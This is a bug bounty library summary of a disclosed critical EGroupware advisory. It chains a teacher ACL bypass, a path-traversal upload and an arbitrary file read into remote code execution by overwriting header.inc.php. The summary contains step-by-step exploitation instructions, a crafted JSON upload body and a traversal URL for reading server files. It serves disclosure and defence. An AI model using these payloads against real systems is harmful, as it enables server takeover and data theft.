# EGroupware has a Remote Code Execution Vulnerability

EGroupware SmallParT ajax_upload trusts participant_role for teacher ACL, enabling path-traversal file write; chained with importexport arbitrary file read to overwrite header.inc.php for RCE.

- Payout: Research
- Severity: critical
- Program: EGroupware
- Found by: realalphaman
- Disclosed: 2026-07-07
- CVE: CVE-2026-27823
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-h9qx-v5xp-ph8p
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-h9qx-v5xp-ph8p
- Tags: area:web domain:web impact:integrity impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained vuln:access-control vuln:file-upload vuln:path-traversal vuln:rce

**Target:** SmallParT media recorder upload endpoint and importexport download endpoint
**Root cause:** ajax_upload derives the course ACL from user-controlled participant_role in the request body instead of server-side state, and builds the upload path from video_type/video_path without sanitization; importexport_export_ui::download uses user-controlled _filename for file reads.
**Steps:**
1. Send a crafted upload request to SmallPartMediaRecorder::ajax_upload with `"participant_role": 3` inside `video.course_id.participants[0]` to satisfy the ROLE_TEACHER ACL check.
2. Set `video_hash` to `.` and `video_type` to a traversal path targeting `./header.inc.php` to write the uploaded file there.
3. Read the original file via `/egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak`.
4. Craft a modified header.inc.php preserving valid structure with injected PHP code, then upload it over the original via the traversal write.
5. Trigger execution after server restart or OPcache expiration; alternatively modify the admin setup password.
**Exploitation:** Authenticated attacker (or unauthenticated if self-registration is enabled) bypasses the teacher ACL via participant_role=3, writes a crafted header.inc.php through path traversal, and achieves code execution on restart/OPcache expiry; arbitrary file read is used first to preserve file validity.
**Escalation:** Chains ACL bypass + arbitrary file write + arbitrary file read to convert a limited upload into full RCE and system compromise.
**Insight:** When an ACL value is read from the same JSON body as the upload metadata, look for fields like participant_role that feed the permission check; also check whether a companion download endpoint's _filename parameter gives you the read primitive needed to keep overwritten config files valid.

## Proof of concept (copied exactly from the original report)

**Crafted upload request bypassing teacher ACL check**

```
{
  "video": {
    "course_id": {
      "participants": [
        {
          "account_id": "7",
          "name": "Test",
          "joined_at": "2026-01-10",
          "participant_role": 3
        }
      ],
      "account_id": "7",
      "course_id": "1"
    },
    "video_hash": ".",
    "video_type": "file_here"
  }
}
```

**Arbitrary file read via download endpoint**

```
/egroupware/index.php?menuaction=importexport.importexport_export_ui.download&_filename=../../../usr/share/egroupware/header.inc.php&_suffix=txt&_type=text/plain&filename=leak
```

